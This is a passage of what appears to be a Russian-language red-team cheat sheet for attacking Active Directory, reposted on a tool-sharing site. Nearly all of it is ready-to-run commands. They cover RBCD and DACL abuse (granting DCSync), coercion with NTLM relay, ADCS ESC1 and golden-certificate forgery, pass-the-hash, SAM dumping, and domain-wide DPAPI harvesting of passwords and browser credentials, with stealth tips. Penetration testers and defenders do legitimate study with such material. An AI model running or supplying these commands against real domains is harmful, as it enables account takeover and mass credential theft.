bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 set object TARGET$
msDS-AllowedToActOnBehalfOfOtherIdentity -v ''

gopacket — set RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity; requires -port 389)

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — read current RBCD value

rbcd -delegate-to TARGET$ -action read
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ Back to Index](#index)

---

### Злоупотребление DACL

> **Статус Titanis:** Нет возможности записи ACE. `bloodyAD` — предпочтительный вариант без impacket. `dacledit.py` / `owneredit.py` — резервные варианты на основе impacket.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

↑ Назад к индексу


Изменение атрибутов пользователя (UAC битовые флаги)```bash

impacket — enable / disable an account (net.py covers these two UAC bits directly)

net.py DOMAIN/admin:[email protected] user -enable targetuser net.py DOMAIN/admin:[email protected] user -disable targetuser

bloodyAD — add UAC flag (enable AS-REP roasting)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
add uac targetuser -f DONT_REQ_PREAUTH

bloodyAD — remove UAC flag (re-enable account)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
remove uac targetuser -f ACCOUNTDISABLE

Titanis

Ldap moduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
targetuser userAccountControl+=4194304

gopacket — enable / disable an account

net DOMAIN/admin:[email protected] user -enable targetuser net DOMAIN/admin:[email protected] user -disable targetuser

gopacket — pass-the-hash

net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] user -enable targetuser

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

## 7. Принуждение аутентификации

> Используйте этап принуждения вместе с `ntlmrelayx` или Responder для этапа ретрансляции. Titanis `credcoerce` поддерживает только MS-EFSR.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

↑ Назад к индексу


Coerce + Relay Pattern```bash

Terminal 1 — relay listener (SMB)

ntlmrelayx.py -tf targets.txt -smb2support

Terminal 1 — relay to LDAP for RBCD / shadow credentials

ntlmrelayx.py -t ldaps://192.168.1.1 --delegate-access --escalate-user jdoe

Terminal 2 — trigger coercion

CredCoerce 192.168.1.10 \\share
-UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

## 8. Сертификаты

> **Статус gopacket:** Инструментов ADCS нет. Для всех операций с сертификатами используйте certipy, Titanis `Cert` или impacket.

### Создание самоподписанных PFX```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

↑ Назад к индексу


Перечисление шаблонов сертификатов ADCS```bash

certipy — includes ESC1–ESC8 vulnerability analysis

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

certipy — pass-the-hash

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -vulnerable -stdout

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 -M adcs

msldap — raw template list

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> certify

msldap> certtemplates

Titanis — enumerate certificate templates

Note: Ldap search is broken on Linux (ignores -SearchBase, always queries RootDSE → no results)

Use ldapsearch below for Linux; Ldap search works on Windows

Windows only:

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKICertificateTemplate)" \

-OutputFields displayName,msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag,pKIExtendedKeyUsage

Titanis — enumerate Enterprise CAs (Windows only — same Ldap search limitation on Linux)

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKIEnrollmentService)" \

-OutputFields displayName,dNSHostName,certificateTemplates

ldapsearch

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local"
"(objectClass=pKICertificateTemplate)" displayName msPKI-Certificate-Name-Flag

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### ADCS ESC1 — Регистрация и восстановление NT-хэша```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

↑ Назад к оглавлению


9. Экзотический сбор учётных данных

Методы, которые обеспечивают эквивалентное покрытие учётных данных по сравнению с дампом NTDS, но полностью обходят стандартные механизмы (DRSUAPI, VSS, доступ к файлу NTDS). Полезны, когда DCSync заблокирован, VSS отслеживается или доступ уровня DA недоступен, но существуют доверенные пути ADCS или DPAPI.


certsync — Golden Cert + UnPAC the Hash

Сбрасывает NT-хэши для каждого пользователя домена без DRSUAPI, VSS или доступа к файлу NTDS. Требует прав администратора CA (или экспортированного сертификата CA + закрытого ключа) и работающего PKINIT. Процесс: перечисление пользователей из LDAP → дамп сертификата/ключа CA → создание сертификата для каждого пользователя → UnPAC the hash через PKINIT для каждого. Выдаёт вывод в формате secretsdump. На практике не медленнее DCSync.```bash

certsync — password auth (auto-discovers CA from LDAP)

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — pass-the-hash

certsync -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-u Administrator -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — Kerberos (ccache)

export KRB5CCNAME=admin.ccache certsync -k -no-pass -u Administrator -d DOMAIN.LOCAL
-dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — supply existing CA cert + key (skip CA backup step; quieter)

certsync -ca-pfx ca.pfx -u jdoe -p Password123
-d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — OPSEC: jitter, randomized per-user certs, custom LDAP filter

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -timeout 2 -jitter 1 -randomize
-ldap-filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"

certsync — output to file

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -outputfile domain_hashes

Feed recovered hashes into Titanis PTH flows (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt> "whoami" Smb2Client ls \dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt>

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### Ключ резервного копирования домена DPAPI — массовое дешифрование учётных данных

> Ключ резервного копирования домена DPAPI — это доменный секрет, хранящийся на DC, который расшифровывает главный ключ DPAPI каждого пользователя — а значит, и каждый DPAPI-защищённый блоб в домене: пароли Chrome/Edge/Firefox, Windows Credential Manager, сертификаты, ключи Wi-Fi, учётные записи SCCM NAA, учётные данные запланированных задач и многое другое. Для его извлечения требуются права DA, но после получения ключ остаётся действительным навсегда, если только его явно не ротировать. Он обеспечивает широту охвата учётных данных, сопоставимую с NTDS, для секретов, хранящихся в DPAPI-блобах, и часто оказывается ценнее для горизонтального перемещения, поскольку выдаёт пароли в открытом виде, а не хэши.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan

↑ Назад к индексу


Скачать инструмент